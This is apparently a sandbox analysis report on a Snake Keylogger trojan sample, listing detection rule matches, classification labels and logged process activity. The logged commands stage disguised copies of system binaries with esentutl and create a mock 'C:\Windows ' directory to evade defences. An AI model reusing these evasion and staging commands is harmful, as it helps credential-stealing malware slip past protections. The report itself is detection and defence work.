Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, WP6RZJql8gZrNhVA9v.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@34/11@5/5

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B17FD2 GetDiskFreeSpaceA,

0_2_02B17FD2

Source: C:\Users\Public\Libraries\yihfsboC.pif

Code function: 14_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear,

14_2_004019F0

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B26DC8 CoCreateInstance,

0_2_02B26DC8

Source: C:\Users\Public\Libraries\yihfsboC.pif

14_2_004019F0

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

File created: C:\Users\Public\Libraries\PNO

Jump to behavior

Source: C:\Users\Public\Libraries\yihfsboC.pif	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7192:120:WilError_03

Source: C:\Users\Public\Libraries\yihfsboC.pif	Command line argument: 08A		14_2_00413780
Source: C:\Users\Public\Libraries\yihfsboC.pif	Command line argument: 08A		23_2_00413780

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: yihfsboC.pif, 0000000E.00000002.2540746609.000000002715E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349EF000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349E1000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A2B000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.00000000349D1000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A38000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035A4C000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2537622019.0000000029A0B000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289E7000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.000000002899D000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289F4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: EPTMAcgvNZ.exe	ReversingLabs: Detection: 63%
Source: EPTMAcgvNZ.exe	Virustotal: Detection: 71%

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

File read: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\EPTMAcgvNZ.exe "C:\Users\user\Desktop\EPTMAcgvNZ.exe"
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o
Source: C:\Windows\SysWOW64\esentutl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
Source: unknown	Process created: C:\Users\Public\Libraries\Cobsfhiy.PIF "C:\Users\Public\Libraries\Cobsfhiy.PIF"
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: unknown	Process created: C:\Users\Public\Libraries\Cobsfhiy.PIF "C:\Users\Public\Libraries\Cobsfhiy.PIF"
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\yihfsboC.cmd" "	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl.exe /y C:\Users\user\Desktop\EPTMAcgvNZ.exe /d C:\\Users\\Public\\Libraries\\Cobsfhiy.PIF /o	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Section loaded: amsi.dll	Jump to behavior
